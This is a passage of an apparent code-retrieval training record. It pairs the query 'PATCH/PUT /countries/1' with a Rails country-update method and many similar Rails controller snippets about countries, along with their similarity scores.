@admin_country.update(admin_country_params)\n\n \n redirect_to admin_countries_path, notice: 'successfully created.'\n #format.json { render :show, status: :created, location: @admin_country }\n end", "def country_params\n params.require(:country).permit(:name)\n end", "def country_params\n params.require(:country).permit(:name)\n end", "def create\n cc = Countries::CreateCountry.new(country_params)\n @country = cc.save\n if @country.persisted?\n flash[:success] = c_t('success.create')\n redirect_to @country\n else\n render :new\n end\n end", "def create\n @country_continent = CountryContinent.new(country_continent_params)\n\n respond_to do |format|\n if @country_continent.save\n format.html { redirect_to @country_continent, notice: 'Country continent was successfully created.' }\n format.json { render :show, status: :created, location: @country_continent }\n else\n format.html { render :new }\n format.json { render json: @country_continent.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_request\n @countries = ISO3166::Country.all.map { |c| [c.name, c.alpha3] }.sort\n\n if @countries && params[:id]\n @country = @country.find(params[:id])\n end\n end", "def country_params\n params.require(:country).permit(:name, :vesited)\n end", "def create\n @movie_country = MovieCountry.new(movie_country_params)\n\n respond_to do |format|\n if @movie_country.save\n format.html { redirect_to @movie_country, notice: 'Movie country was successfully created.' }\n format.json { render :show, status: :created, location: @movie_country }\n else\n format.html { render :new }\n format.json { render json: @movie_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(country_params)\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to [:admin,@country], notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.country', count: 1))}\n else\n format.html { render :new }\n end\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to(@country, :notice => 'Country was successfully created.') }\n format.xml { render :xml => @country, :status => :created, :location => @country }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to(@country, :notice => 'Country was successfully created.') }\n format.xml { render :xml => @country, :status => :created, :location => @country }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.new(params[:country])\n\n respond_to do |format|\n if @country.save\n format.html { redirect_to(@country, :notice => 'Country was successfully created.') }\n format.xml { render :xml => @country, :status => :created, :location => @country }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def countries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CountriesApi#countries ...\"\n end\n \n # resource path\n local_var_path = \"/countries/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'languageCode'] = opts[:'language_code'] if opts[:'language_code']\n query_params[:'key'] = opts[:'key'] if opts[:'key']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CountryList')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CountriesApi#countries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def country_params\n params.require(:country).permit(:country_id, :name)\n end", "def countries\n collection(\"countries\")\n end", "def country_params\n params.permit(:name, :heat)\n end", "def country_params\n params.require(:country).permit(:code, :name)\n end", "def create\r\n @country = Country.new(params[:country])\r\n\r\n respond_to do |format|\r\n if @country.save\r\n format.html { redirect_to(@country, :notice => 'Country was successfully created.') }\r\n format.xml { render :xml => @country, :status => :created, :location => @country }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "def country_params\n\t params.require(:country).permit(:name, :status) \n\t end", "def create\n @release_country = ReleaseCountry.new(release_country_params)\n\n respond_to do |format|\n if @release_country.save\n format.html { redirect_to @release_country, notice: 'Release country was successfully created.' }\n format.json { render :show, status: :created, location: @release_country }\n else\n format.html { render :new }\n format.json { render json: @release_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def store_countries\n Countries::Data.get_data\n @regions = Countries::Country.create_region_list\n end", "def index\n get_data\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n format.js\n end\n end", "def create\n @country_area = CountryArea.new(params[:country_area])\n\n respond_to do |format|\n if @country_area.save\n format.html { redirect_to @country_area, notice: 'Country area was successfully created.' }\n format.json { render json: @country_area, status: :created, location: @country_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if params[:country]\n country = Country.find_by_id(params[:country])\n if !country.nil?\n @cities = country.cities\n else\n flash[:error] = t(:country_not_found)\n @cities = nil\n end\n else\n return redirect_to countries_path\n end\n\n respond_to do |format|\n# format.html # index.html.erb\n format.json { render json: @cities }\n end\n end", "def create\n @locations_country = Locations::Country.new(params[:locations_country])\n index\n respond_to do |format|\n if @locations_country.save\n format.js { @notice = 'Registro guardado correctamente.' \n render 'index'\n }\n else\n format.js { @notice = 'Error al guardar el registro.' \n render action: \"new\"}\n end\n end\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def new\n @country = Country.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @country }\n end\n end", "def country_params\n params.require(:country).permit(:name, :c_code, :telephone_code)\n end", "def create\n\t# do this for each question\n\t@questions = Question.find(:all, :conditions => { :question_type => 2 } )\n\t@questions.each do |question|\n\t @data_country_params = params[\"#{question.id}\"]\n\t @data_country_params[:entry_date] = Date.today\n\t @data_country = @response.data_countries.build(@data_country_params)\n\t \n\t if @data_country.save\n\t\t@awesome = \"yes\"\n\t end\n\t \n\t end\n\t respond_to do |format|\n\t if @awesome == \"yes\"\n\t\tflash[:notice] = 'Country level questions were successfully created.'\n\t\tformat.html { redirect_to(response_data_countries_path(@response)) }\n\t\tformat.xml { render :xml => @data_country, :status => :created, :location => @data_country }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @data_country.errors, :status => :unprocessable_entity }\n\t end\n\tend\n\nend", "def show\n render json: @country\n end", "def create\n @geo_country = Geo::Country.new(params[:geo_country])\n\n respond_to do |format|\n if @geo_country.save\n format.html { redirect_to(@geo_country, :notice => 'Country was successfully created.') }\n format.xml { render :xml => @geo_country, :status => :created, :location => @geo_country }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @geo_country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_filter_countries\n @request.env[\"RAW_POST_DATA\"] = \"United States of America\"\n xhr :post, :filter_countries\n assert_success\n assert_equal 1, assigns(:countries).size \n assert_equal Country.find_by_code('US').id, assigns(:countries).first.id\n end", "def index\n @countries = Country.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @countries }\n end\n end", "def add_countries\n projects = Project.find_public(:all, :conditions => [\"continent_id=?\", params[:continent_id].to_i])\n @countries = [[ 'All ...', '']]\n projects.each do |project|\n sum = 0\n projects.each do |pj|\n sum += 1 if project.country_id==pj.country_id\n end\n name = \"#{!project.country_id.nil? ? project.nation.name : project.place.country.name} (#{sum})\"\n @countries << [name, project.country_id]\n end\n @countries.uniq!\n respond_to do |format|\n format.js {\n render :update do |page|\n page.replace_html \"country_id_container\", :partial => \"select_countries\"\n end\n }\n end\n end", "def country_params\n params.require(:country).permit(:name, :description, :subscribers, :latitude, :longitude)\n end", "def country_params\n params.require(:country).permit(:id)\n end", "def countries(input)\n get_single_method('countries', input)\n end", "def create\n @client = Client.new(params[:client])\n\n respond_to do |format|\n if @client.save\n\t\tClientMailer.registration_confirmation(@client).deliver\n\t\tCountry.create!({'clientkey'=>@client.id, 'country'=>@client.country})\n format.html { redirect_to @client, notice: 'Client was successfully created.' }\n format.json { render json: @client, status: :created, location: @client }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @countryinfo = Countryinfo.new(countryinfo_params)\n\n respond_to do |format|\n if @countryinfo.save\n format.html { redirect_to @countryinfo, notice: \"Countryinfo was successfully created.\" }\n format.json { render :show, status: :created, location: @countryinfo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @countryinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def country_params\n \t\tparams.require(:country).permit(:name)\n \tend", "def countries(input)\n get_single_method(:countries, input)\n end", "def create\n @country = Country.new(country_params)\n @countries = Country.all\n respond_to do |format|\n if @country.save\n @country = Country.new\n format.js { @flag = true }\n else\n flash.now[:alert] = 'Country Already Exist.'\n format.js { @flag = false }\n end\n end\n end", "def country_params\n params.require(:country).permit(\n :name, :display_name, :alpha_2, :alpha_3, :numeric_3, :note\n )\n end", "def create\n @country = Country.new(params[:country])\n\n if @country.save\n respond_with do |format|\n format.html do\n if request.xhr?\n render :partial => \"countries/show\", :locals => { :country => @country }, :layout => false, :status => :created\n else\n redirect_to @country\n end\n end\n end\n else\n respond_with do |format|\n format.html do\n if request.xhr?\n render :json => @country.errors, :status => :unprocessable_entity\n else\n render :action => :new, :status => :unprocessable_entity\n end\n end\n end\n end\n\n\n# respond_to do |format|\n# if @country.save\n# format.html { redirect_to(@country, :notice => 'Country was successfully created.') }\n# format.xml { render :xml => @country, :status => :created, :location => @country }\n# else\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n# end\n# end\n end", "def country_params\n params.require(:country).permit(:name, :email, :password, :resource, :r_energy, :n_energy, :f_military, :u_military, :tech, :education, :infrastructure)\n end", "def show_cities\n\n @cities = City.where(\"country_id = ?\", params[:country_id])\n\n render json: @cities\n \n end", "def cities\n cities = CS.cities(params[:id], :GB)\n if cities.blank?\n country = ISO3166::Country.find_country_by_alpha3(params[:id])\n cities = country_cites(country)\n return(render json: { message: I18n.t(:invalid_country) }) if cities.blank?\n end\n render json: cities\n end", "def ag_country_params\n params.require(:ag_country).permit(:name, :iso)\n end", "def create\n\t @country = Country.new(country_params)\n\t if @country.save\n\t \tflash[:success] = \"Record updated successfully\"\n\t\t redirect_to countries_path\n\t else\n\t \tflash[:error] = \"Record not updated\"\n\t \tredirect_to countries_path \t\n\t end\n\tend", "def visit_country\n self.user_countries.create!(user_id: self.visitor_id)\n end", "def country_api\n # endpoint = \"https://corona.lmao.ninja/countries\"\n endpoint = 'https://corona.lmao.ninja/v2/countries'\n response = HTTParty.get(endpoint)\n data = JSON.parse response.body\n res = data\n result =[]\n endpoint_all = \"https://corona.lmao.ninja/all\"\n response1 = HTTParty.get(endpoint_all)\n data1 = JSON.parse response1.body\n res1 = data1\n result<<{\n country: \"world\",\n cases: res1[\"cases\"],\n todayCases: res1[\"todayCases\"],\n deaths: res1[\"deaths\"],\n todayDeaths: res1[\"todayDeaths\"],\n recovered: res1[\"recovered\"],\n active: res1[\"active\"],\n critical: res1[\"critical\"],\n casesPerOneMillion: res1[\"casesPerOneMillion\"],\n deathsPerOneMillion: res1[\"deathsPerOneMillion\"],\n tests: res1[\"tests\"],\n testsPerOneMillion: res1[\"testsPerOneMillion\"],\n affectedCountries: res1[\"affectedCountries\"]\n }\n\n res.each do |country|\n result<<{\n country: country[\"country\"],\n lat: country[\"countryInfo\"][\"lat\"],\n long: country[\"countryInfo\"][\"long\"],\n flag: country[\"countryInfo\"][\"flag\"],\n cases: country[\"cases\"],\n todayCases: country[\"todayCases\"],\n deaths: country[\"deaths\"],\n todayDeaths: country[\"todayDeaths\"],\n recovered: country[\"recovered\"],\n active: country[\"active\"],\n critical: country[\"critical\"],\n casesPerOneMillion: country[\"casesPerOneMillion\"],\n deathsPerOneMillion: country[\"deathsPerOneMillion\"],\n tests: country[\"tests\"],\n testsPerOneMillion: country[\"testsPerOneMillion\"]\n }\n end\n render json: result\n end", "def create\n if @country\n @zone = @country.zones.build(params[:zone])\n else\n @zone = Zone.new(params[:zone])\n end\n\n respond_to do |format|\n if @zone.save\n flash[:notice] = 'Zone was successfully created.'\n format.html { redirect_to(context_url) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n @situations_arrivals_country = SituationsArrivalsCountry.new(situations_arrivals_country_params)\n\n respond_to do |format|\n if @situations_arrivals_country.save\n format.html { redirect_to @situations_arrivals_country, notice: 'Situations arrivals country was successfully created.' }\n format.json { render :show, status: :created, location: @situations_arrivals_country }\n else\n format.html { render :new }\n format.json { render json: @situations_arrivals_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def index\n @countries = Country.all\n end", "def get_countries\n perform(:get, 'enum/countries', nil, nonauth_headers).body\n end", "def create\n @city = City.new(params[:city])\n @city.state_id = params[:state_id]\n \n respond_to do |format|\n if @city.save\n format.html { redirect_to country_state_cities_path, :notice => t('controller_message.inserted') }\n format.json { render :json => @city, :status => :created, :location => @city }\n else\n @state = State.find(params[:state_id])\n @country = Country.find(@state.country_id)\n format.html { render :action => \"new\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end", "def actor_country_params\n params.require(:actor_country).permit(:name)\n end", "def create\n @author = Author.new(params[:author])\n @author.user = @user\n @country = Country.find(params[:author][:country_id])\n respond_to do |format|\n if @author.save\n format.html { redirect_to country_author_path(@country.name,@author), :notice => 'Author was successfully created.' }\n format.json { render :json => @author, :status => :created, :location => @author }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @author.errors, :status => :unprocessable_entity }\n end\n end\n end", "def countries\n \tif params[:continent_id].present?\n \t\tputs params[:continent_id]\n \t\tvalor = params[:continent_id]\n \t\tcountries = Country.joins(:country_category).where(status: true, continent_number: [valor]).select(:id,:name,:name_cr,:flag_image,:generic_image,:country_category_id,'country_categories.percentage_profile AS country_category_percentage_profile')\n \trender json: countries\n else\n \trender :json => {:result => 'ERROR'}\n \tend\n end", "def country_params\n params.fetch(:country, {})\n end", "def country_params\n params.fetch(:country, {})\n end", "def show\n json_response(@country)\n end", "def country_name_params\n params.require( :country_name ).permit( :id, :code, :label )\n end", "def get_acceptedcountries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AcceptedCountriesApi.get_acceptedcountries ...'\n end\n # resource path\n local_var_path = '/acceptedcountries'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'start_index'] = opts[:'start_index'] if !opts[:'start_index'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'whitelist'] = opts[:'whitelist'] if !opts[:'whitelist'].nil?\n query_params[:'search_type'] = opts[:'search_type'] if !opts[:'search_type'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'AcceptedCountriesListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"AcceptedCountriesApi.get_acceptedcountries\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AcceptedCountriesApi#get_acceptedcountries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @english_country_residence = EnglishCountryResidence.new(english_country_residence_params)\n\n respond_to do |format|\n if @english_country_residence.save\n format.html { redirect_to @english_country_residence, notice: 'English country residence was successfully created.' }\n format.json { render :show, status: :created, location: @english_country_residence }\n else\n format.html { render :new }\n format.json { render json: @english_country_residence.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @country = Country.find_by_id(params[:city][:country_id])\n if !@country.nil?\n @region = @country.regions.find_by_id(params[:city][:region_id])\n if !@region.nil?\n @city = City.new(params[:city])\n else\n flash[:notice] = \"Region not found\"\n return redirect_to country_path(@country)\n end\n else\n flash[:notice] = \"Country not found\"\n return redirect_to countries_path\n end\n\n\n respond_to do |format|\n if @city.save\n format.html { redirect_to @city, notice: 'City was successfully created.' }\n format.json { render json: @city, status: :created, location: @city }\n else\n format.html { render action: \"new\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @areas = Area.with_ordered_countries\n respond_with(@areas)\n end", "def new\n @company_country = CompanyCountry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @company_country }\n end\n end", "def create\n @continent = Continent.new(params[:continent])\n\n respond_to do |format|\n if @continent.save\n format.html { redirect_to @continent, notice: 'Continent was successfully created.' }\n format.json { render json: @continent, status: :created, location: @continent }\n else\n format.html { render action: \"new\" }\n format.json { render json: @continent.errors, status: :unprocessable_entity }\n end\n end\n end", "def all_countries \n\t\tself.class.get('/all')\n\tend", "def create \n \n\tputs params[:country]\n\tcountry = Country.where(:code => params[:country]).first\n\t\n\tputs country\n\tcountryId = country.id\n \n\tputs countryId\n\t\n @state = State.new :code => params[:code], :name => params[:name], :country_id => countryId\n \n respond_to do |format|\n if @state.save\n format.html { redirect_to(:action => \"index\") }\n else\n format.html { render action: \"new\" } \n end\n end\n end", "def new\n @countries = Countries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to test_user_path(@user) }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to new_user_path, notice:'Please select your country' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def release_country_params\n params.require(:release_country).permit(:code, :name)\n end", "def create\n unless params[:country_id]\n @city = City.new(params[:city])\n @city.step=\"2\"\n state = State.find_by_id(params[:city][:state_id]) if params[:city][:state_id]\n @city.state = state\n if @city.save\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@city.errors)\n end\n end\n end", "def region_country_params\n params.require(:region_country).permit(:region_id, :country_id, :country_name)\n end" ]
[ "0.6796667", "0.67311287", "0.6698475", "0.6669663", "0.6616013", "0.66079766", "0.6571803", "0.6571803", "0.6502894", "0.6424183", "0.63651943", "0.6294456", "0.6235747", "0.6230718", "0.62012476", "0.619645", "0.61840296", "0.61809963", "0.6166233", "0.61520326", "0.6140303", "0.6138643", "0.61181504", "0.61127806", "0.61127806", "0.6112113", "0.6086659", "0.60640496", "0.60479516", "0.60425633", "0.60066324", "0.6005408", "0.6005408", "0.6005408", "0.6001948", "0.5979687", "0.59564584", "0.59461427", "0.59409434", "0.5935487", "0.59293324", "0.5927449", "0.59107625", "0.5902988", "0.5897958", "0.5893085", "0.5888488", "0.58858234", "0.58858234", "0.5873893", "0.5870318", "0.5851272", "0.58483446", "0.5823212", "0.58051425", "0.58036005", "0.5779573", "0.5779064", "0.5771889", "0.57181597", "0.56944335", "0.5681753", "0.56776744", "0.5647247", "0.5629539", "0.5627571", "0.5608866", "0.5607221", "0.5606244", "0.5604353", "0.56042004", "0.55999774", "0.5591446", "0.55750877", "0.55724376", "0.5558642", "0.5558642", "0.5558642", "0.55558777", "0.554594", "0.5532366", "0.552358", "0.5520846", "0.5507456", "0.5507456", "0.5501053", "0.54812455", "0.54745764", "0.5471275", "0.54532635", "0.5450457", "0.5444579", "0.54378045", "0.54350567", "0.5431368", "0.5418197", "0.5398483", "0.5394887", "0.5392707", "0.53733665" ]
0.70150197
0
PATCH/PUT /countries/1 PATCH/PUT /countries/1.json
def update @country = Country.find(params[:id]) if @country.update(country_params) head :no_content else render json: @country.errors, status: :unprocessable_entity end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @country = Country.find(params[:id])\n if @country.update_attributes(:name=>params[:body][:country])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@country.errors)\n end\n end", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @countries = Countries.find(params[:id])\n\n respond_to do |format|\n if @countries.update_attributes(params[:countries])\n flash[:notice] = 'Countries was successfully updated.'\n format.html { redirect_to(@countries) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @countries.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @country.update(valid_params)\n json_response(@country)\n end", "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @company_country = CompanyCountry.find(params[:id])\n\n respond_to do |format|\n if @company_country.update_attributes(params[:company_country])\n format.html { redirect_to @company_country, notice: 'Company country was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @company_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to @country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @country }\n else\n format.html { render :edit }\n format.json { render json: @country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @country = Country.find(params[:id])\n @country.update_attributes(params[:country])\n get_data\n end", "def update\n if @country.update(country_params)\n render :show, status: :ok, location: @country\n else\n render json: @country.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @admin_country.update(admin_country_params)\n format.html { redirect_to admin_countries_path, notice: 'successfully updated.' }\n #format.json { render :show, status: :ok, location: @admin_country }\n else\n format.html { render :edit }\n format.json { render json: @admin_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(countries_path, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @country.update_attributes(country_params)\n end", "def update\n @country.update(country_params)\n @countries = Country.all\n @country = Country.new\n\n end", "def update\n @countries = CountryMaster.all\n\n respond_to do |format|\n if @region_master.update(region_master_params)\n format.html { redirect_to @region_master, notice: \"Region master was successfully updated.\" }\n format.json { render :show, status: :ok, location: @region_master }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @region_master.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ag_country.update(ag_country_params)\n format.html { redirect_to @ag_country, notice: 'Country was successfully updated.' }\n format.json { render :show, status: :ok, location: @ag_country }\n else\n format.html { render :edit }\n format.json { render json: @ag_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @country = Country.find(params[:id])\n\n respond_to do |format|\n if @country.update_attributes(params[:country])\n format.html { redirect_to(@country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @geo_country = Geo::Country.find(params[:id])\n\n respond_to do |format|\n if @geo_country.update_attributes(params[:geo_country])\n format.html { redirect_to(@geo_country, :notice => 'Country was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @geo_country.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @country_continent.update(country_continent_params)\n format.html { redirect_to @country_continent, notice: 'Country continent was successfully updated.' }\n format.json { render :show, status: :ok, location: @country_continent }\n else\n format.html { render :edit }\n format.json { render json: @country_continent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n if @country_area.update_attributes(params[:country_area])\n format.html { redirect_to @country_area, notice: 'Country area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @region_country.update(region_country_params)\n format.html { redirect_to @region_country, notice: 'Region country was successfully updated.' }\n format.json { render :show, status: :ok, location: @region_country }\n else\n format.html { render :edit }\n format.json { render json: @region_country.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @country.update(country_params)\n format.html { redirect_to [:admin,@country], notice: t('shared.msgs.success_updated',\n obj: t('activerecord.models.country', count: 1))}\n else\n format.html { render :edit }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @locations_country = Locations::Country.find(params[:id])\n index\n respond_to do |format|\n if @locations_country.update_attributes(params[:locations_country])\n format.js { @notice = 'Registro actualizado correctamente.' \n render 'index'\n }\n else\n format.js { \n @notice = \"Error al actualizar el registro\"\n render action: \"edit\" }\n end\n end\n end", "def update\n @countries = Location.roots\n respond_to do |format|\n if @profile.update(profile_params)\n format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }\n format.json { render :show, status: :ok, location: @profile }\n else\n format.html { render :edit }\n format.json { render json: @profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @author = Author.find(params[:id])\n @country = Country.find(params[:author][:country_id])\n respond_to do |format|\n if @author.update_attributes(params[:author])\n format.html { redirect_to country_author_path(@country.name,@author), :notice => 'Author was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @author.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit\n @countries = Countr.all\n @states = []\n @cities = []\n if params[:country].present? or params[:state].present?\n @states = Stat.where(:countr_id => params[:country] )\n @cities = City.where(:stat_id => params[:state] )\n end\n if request.xhr?\n respond_to do |format|\n format.json {\n render json: {states: @states} if params[:country].present?\n render json: {cities: @cities} if params[:state].present?\n }\n end\n end\n end", "def update\n if Countries::UpdateCountry.new(@country, country_params).update\n flash[:success] = c_t('success.update')\n redirect_to @country\n else\n render :edit\n end\n end", "def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end", "def update\n respond_to do |format|\n if @countryinfo.update(countryinfo_params)\n format.html { redirect_to @countryinfo, notice: \"Countryinfo was successfully updated.\" }\n format.json { render :show, status: :ok, location: @countryinfo }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @countryinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n\t\tperson = Person.find_by_id(user_params[\"id\"])\n\t\tif person\n\t\t\tperson.favoriteCity = params[\"update\"]\n\t\t\tif person.save\n\t\t\t\trender json: {id: person.id, name: person.name, favoriteCity: person.favoriteCity}\n\t\t\telse\n\t\t\t\trender body: 'Person Invalid', status: 404\n\t\t\tend\n\t\telse\n\t\t\trender body: 'Person Not Found', status: 404\n\t\tend\n\tend", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @movie_country.update(movie_country_params)\n 